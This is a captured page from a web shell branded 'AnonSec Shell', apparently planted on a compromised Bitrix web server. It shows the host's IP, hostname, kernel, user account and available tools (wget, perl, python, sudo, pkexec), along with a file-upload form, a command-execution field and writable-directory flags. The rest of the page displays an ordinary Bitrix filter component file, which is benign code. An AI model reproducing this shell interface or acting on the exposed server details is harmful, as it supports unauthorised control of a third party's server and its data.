AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.216.204.164
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/main.interface.filter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/main.interface.filter//component.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
	die();

/*
$APPLICATION->IncludeComponent(
	"bitrix:main.interface.filter",
	"",
	array(
		"GRID_ID"=>$arParams["~GRID_ID"],
		"FILTER"=>$arParams["~FILTER"],
		"FILTER_ROWS"=>$arResult["FILTER_ROWS"],
		"FILTER_FIELDS"=>$arResult["FILTER"],
		"OPTIONS"=>$arResult["OPTIONS"],
	),
	$component,
	array("HIDE_ICONS"=>true)
);
*/

$arParams["GRID_ID"] = preg_replace("/[^a-z0-9_]/i", "", $arParams["GRID_ID"]);

$arResult["FILTER_ROWS"] = $arParams["~FILTER_ROWS"];
$arResult["FILTER"] = $arParams["~FILTER_FIELDS"];
$arResult["OPTIONS"] = $arParams["~OPTIONS"];

//save GET parameters in form's hidden fields
$arResult["GET_VARS"] = array();
$aSkipVars = array('filter'=>'', 'clear_filter'=>'', 'logout'=>'', 'bxajaxid'=>'', 'AJAX_CALL'=>'');
$aSpecVars = array('_from', '_to', '_list', '_datesel', '_days');
foreach($_GET as $var=>$value)
{
	if(array_key_exists($var, $aSkipVars))
		continue;
	if(array_key_exists($var, $arResult["FILTER_ROWS"]))
		continue;
	foreach($aSpecVars as $v)
		if(mb_substr($var, -($len = mb_strlen($v))) == $v && array_key_exists(mb_substr($var, 0, -($len)), $arResult["FILTER_ROWS"]))
			continue 2;
	$arResult["GET_VARS"][$var] = $value;
}

$arResult["DATE_FILTER"] = array(
	""=>GetMessage("interface_filter_no_no_no_1"),
	"today"=>GetMessage("interface_filter_today"),
	"yesterday"=>GetMessage("interface_filter_yesterday"),
	"week"=>GetMessage("interface_filter_week"),
	"week_ago"=>GetMessage("interface_filter_week_ago"),
	"month"=>GetMessage("interface_filter_month"),
	"month_ago"=>GetMessage("interface_filter_month_ago"),
	"days"=>GetMessage("interface_filter_last"),
	"exact"=>GetMessage("interface_filter_exact"),
	"after"=>GetMessage("interface_filter_later"),
	"before"=>GetMessage("interface_filter_earlier"),
	"interval"=>GetMessage("interface_filter_interval"),
);

//*********************
// Self-explaining
//*********************

$this->IncludeComponentTemplate();
?>

Anon7 - 2022
AnonSec Team